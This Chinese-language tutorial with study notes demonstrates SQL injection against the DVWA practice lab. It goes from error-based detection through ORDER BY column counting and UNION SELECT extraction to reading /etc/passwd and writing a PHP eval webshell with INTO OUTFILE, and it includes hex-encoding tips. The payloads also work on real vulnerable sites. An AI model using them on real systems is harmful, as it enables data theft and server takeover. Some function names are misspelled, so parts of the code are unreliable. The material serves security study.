这篇文章谈论简单的技术,利用sql注入(SQLi)漏洞,并获得一个webshell,所有的演示都是用DVWA(渗透测试演练系统).对于SQL注入利用,有以下几个基本步骤:
1,发现SQL注入点;
2,通过mysql数据库帮助,进一步进行注入,获取帐号密码等敏感信息;
3,上传webshell,获得一个反向连接。
本文所有的演示都是在DVWA(Dam Vulnerable Web Application)环境演示,DVWA是用PHP+Mysql编写的 一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞. 安装好之后,我们在本文的演示中需要设置脚本安全级别为low(低)。
1.发现SQL注入点
识别SQL注入是关键的一步,它需要大量的技能和经验来确定注入点。通过适当的分析应用程序,可以判断什么地方存在注入点。在下面的屏幕截图所示,“ID”字段中可能会受到SQL注入。程序功能需要一个整数做为用户输入,提交之后会显示该ID对应的姓名。
当我们在用户ID中加一个单引号(‘),会看到产生了数据库的报错,本次演示使用的是mysql数据库。
之所以产生错误是因为,输入的用户ID中,单引号不是一个整数类型的,导致后端SQL查询产生了错误,可以想象一下后端SQL查询语句大概是这样:
Mysql>select first_name,last_name from users where user_id=”;
如果输入变成了非整数类型的单引号,SQL语句就会变成如下:
MySQL> select first_name, last_name from users where user_id=”’ ;
因此,产生了一个语法错误,所以注入点被确定为id字段。前端的该语句是会在后端的sql服务器进行执行的,这将使sql注入变为可能。
2,通过mysql数据库帮助,进一步进行注入,获取帐号密码等敏感信息;
进一步尝试猜测后端查询语句,从而获取mysql版本、数据库名称、列数等,通过前端的报错等我们猜测后端的查询语句是这样的:
Mysql>select first_name,last_name for user where user_id=1;
以上只是胡乱猜测,我们需要通过mysql语句更进一步的进行测试,开始使用order by 。order by 语句可以对查询结果进行排列,上面的语句中有两列,使用order by 语句可以按照第一列first_name或者第二列last_name对结果进行排列。假如我们想根据第三列对结果进行排序,因为查询语句中不存在第三 列,就会产生报错:
ERROR 1054 (42S22): Unknown column ’3′ in ‘order clause’
当我们使用order by 2的时候没有产生任何错误,而使用order by 3的时候产生报错,说明数据库中只有两列;通过这种方法我们可以使用order by语句猜测数据库表中的列数。
user id输入’ order by 3+–+的时候,后端SQL查询语句如下:
Mysql>select first_name,last_name from user where user_id=” order by 3+- -+’
可以看到因为不存在第三列会产生报错。
user id输入’order by 2+–+的时候,后端查询语句如下:
Mysql>select first_name,last_name from user where user_id=” order by 2+- -+’
可以看到没有产生任何错误。
接下来进一步使用union查询语句
为什么要使用联合查询?
Union查询结合了两个select查询结果,根据上文中的order by语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用union查询了结合我们构造的另外一个select.注意在使用union查询的时候需要和主查询的列数相同。
MySQL> select first_name, last_name from users where user_id=”union select 1,2 ;
使用union select之后可以看到查询结果显示在了页面上.
继续构造union select语句,来查询正在使用中的用户和数据库,用以下语句
‘union select user(),database()+- -+
‘union select session_user(),current_user()+- -+
‘union select 1,version()+- -+ 查询数据库的版本。
使用联合查询语句构造,利用注入读取/ect/passwd 文件(linux系统)
‘UNION SELECT 1, load1_file(/etc/passwd) +- -+
使用联合查询语句构造,利用注入读取c:\1.txt (Windows系统)
‘ UNION SELECT 1, load1_file(‘c:\\1.txt’) +- -+ 或者
‘ union select 1, load1_file(‘c:\/1.txt’) +- -+
3.利用sql注入写入webshell
假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.写入需要你有写入权限等。
‘ union select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+
‘ union select 1,’<?php eval($_POST[cmd]);?>’ into outfile ‘c:\\2.php’+- -+
本文中用到的DVWA(渗透测试演练系统):http://www.kalinux.org 帐号密码: admin password, 暂时因为环境不支持sql injection漏洞的演练。
DVWA下载:http://www.nxadmin.com/tools/DVWA-1.0.7.zip
自己学习总结:(我是用的是DVWA的汉化版:安信华web弱点测试系统Anchiva)
1、注入类型的判断
使用DVWA时,在判断注入类型时就走了很多弯路。情形如下:
(1)我再输入框中输入1,显示结果如下:
ID: 1 First name: admin Surname: admin
(2)然后再输入 1’,报错了:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”’ at line 1
由于这一关就是SQL注入,所以我就认为此位置存在注入了,我就没有详细查看报错语句(其实通过报错语句就可以看出1被单引号包围)。首先我测试数字型注入,输入框输入:1 and 1=1,结果:ID: 1 and 1=1First name: adminSurname: admin .然后我输入1 and 1=2,结果还是:ID: 1 and 1=2First name: adminSurname: admin。这样,我就陷入了不明所以的状态了,不明白两个输入为什么和输入1是一样的。
查看了数据库和源码后才知道原因:编程人员巧妙地利用了mysql数据库的隐形数据类型转换。查看数据库中的user表,user_id是int(6)类型,而数据库查询语句是:SELECT first_name, last_name FROM users WHERE user_id = ‘$id’. 即数据库将user_id作为字符类型来查询。这样查询时输入的$id参数会被mysql从字符型转换为int类型,这样不管是1 and 1=1还是1 and 1=2,在转换后都转换为1,因而查询结果是一样的。
2、注释
注意mysql的注释是– (注意在–后有一个空格)。因为在url编码中+和空格是等效的,所以上面的注释会使用–+,而在mysql内部就不能用+来代替空格。同时,也可以使用#做注释。
3、编码
在上面的load1_file()和into outfile中涉及到文件路径时,最好对路径进行ASCII hex编码,即将路径中的每个字符用十六进制表示并且前面加上0x来表示路径经过编码。 同时,在获取数据库名、表名时的注入语句中,最后对查询的字符串也进行转换。如1′ UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
其中0x7573657273就是指users
4、函数
在注入时使用的一些函数如group_concat()、concat()、concat_ws()等函数是mysql的函数,而不是php的函数。